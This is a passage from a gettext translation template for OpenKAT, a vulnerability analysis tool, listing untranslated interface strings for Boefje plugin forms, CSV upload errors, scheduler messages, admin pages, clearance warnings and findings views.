\"\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings \"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"\"\n\n#: 